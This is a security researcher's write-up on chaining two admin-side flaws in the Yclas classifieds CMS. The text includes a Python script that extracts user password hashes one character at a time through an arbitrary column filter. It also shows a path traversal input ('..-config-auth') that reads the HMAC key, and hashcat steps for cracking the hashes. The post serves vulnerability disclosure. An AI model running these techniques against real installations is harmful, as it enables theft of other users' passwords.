Yclas is a CMS for classified advertisements. Its administrator interface has general search functionality, and was vulnerable to path traversal. Combined, these could be abused by administrators to obtain the passwords of other users.

User input as database column

While investigating Yclas I encountered an article about cache poisoning which mentions the Param Miner Burp extension. This extension attempts to find GET parameter names or request header names that trigger different behavior in a web page. By brute-forcing many GET parameters, parameter names can be found that trigger functionality in the application.

I ran the “Guess GET parameters” function on a couple of Yclas URLs. It returned several new GET parameters, but these did not seem very interesting and I went on with something else. Then when I viewed the application log, I noticed the following error:

ERROR: Database_Exception [ 1054 ]: Unknown column 'id_userrskmiy' in 'where clause'

An SQL error where the column name, id_userrskmiy, seems to be generated by Burp and used directly in the SQL query. I found the original request triggering this error by grepping the Burp log:

POST /oc-panel/User/ajax?filter__id_userrskmiy=wrtqvajczva065zr

So it seems that anything following filter__ is used as the column name to search on.

No SQL injection

When user input is used in an SQL query and it triggers an error, it is likely that SQL injection is possible. I first tried scanning with Burp’s active scanner, and then did manual checking. It turns out the column name is enclosed within backticks, and any backticks in the column name are correctly escaped. Filtering on col` gives the following error, showing that the column name is used correctly:

Unknown column 'col`' in 'where clause' [ SELECT COUNT(`yc3_user`.`id_user`) AS `records_found` FROM `yc3_users` AS `yc3_user` WHERE `col``` = '1' ORDER BY `id_user` DESC 

Searching password hashes

Even though we can’t perform arbitrary SQL queries, we can still search on arbitrary columns. This is especially interesting for the password column in the user table. This contains the password hash, which makes it possible to crack the plaintext password of other users.

By performing a request with filter__password=a and checking the results, we can check whether there is an a in the password hash. If there is, we try a0, a1, etc. I wrote the following script to automate this process:

import requests

def search_hash(payload):
    cookies = {"session": "s4n8mfjdeflrnp1g69lsq5gf05"}
    resp = requests.post("http://172.16.122.199:8333/oc-panel/User/ajax", 
        params={"filter__password": payload + "%", "filter__name": "sjoerd"},
        data={"current": 1, "rowCount": 10, "searchPhrase": ""},
        cookies=cookies)
    return int(resp.json()["total"])

dictionary = list("0123456789abcdef")
found = [""]
count = 0
for elem in found:
    for letter in dictionary:
        count += 1
        if search_hash(elem + letter):
            found.append(elem + letter)
            print(elem + letter, count)

After about 12 minutes and 32400 requests, we have obtained the whole password hash.

Hash format

The password hash is a HMAC of the password, with a key configured in the config file auth.php. So even though we have obtained the password hash, we still can’t crack it since we don’t know the hash_key, and it is sufficiently complex that brute forcing it is not possible.

hash_hmac("sha256", $password, $config['hash_key']);

If we want to get somewhere with the hashes, we have to know the hash key in the auth config.

Reading log files

The admin interface also has a tool to read log files. The screenshot below shows this functionality. We input a date and the corresponding log file is shown:

If we input the date 2019-05-17, the file 2019/05/17.php is read. What if we input the “date” ..-config-auth? We get the auth config file containing the hash key.

Cracking passwords

Now we have enough information to crack the passwords. We create a file containing the hash followed by the key:

b013973678c3e98835eca4d488715481cd7afa351f69cfa202f31984563ce67a:rax96tpzb5%mx*up
57e1df5adde8bc160e777cae78fda3ed6dba58a30e4b336a66149d94256094c6:rax96tpzb5%mx*up

Then we use hashcat mode 1460, HMAC-SHA256 (key = $salt). This cracks the hashes, and we obtain the plaintext passwords of other users.

Conclusion

By combining two vulnerabilities we can obtain the passwords for other users. Administrator privileges are required, and the attack is complex, loud and slow. Even so, it may yield a password of an administrator, which can be interesting if the password is reused somewhere else.

The path traversal vulnerability was solved by validating the date format.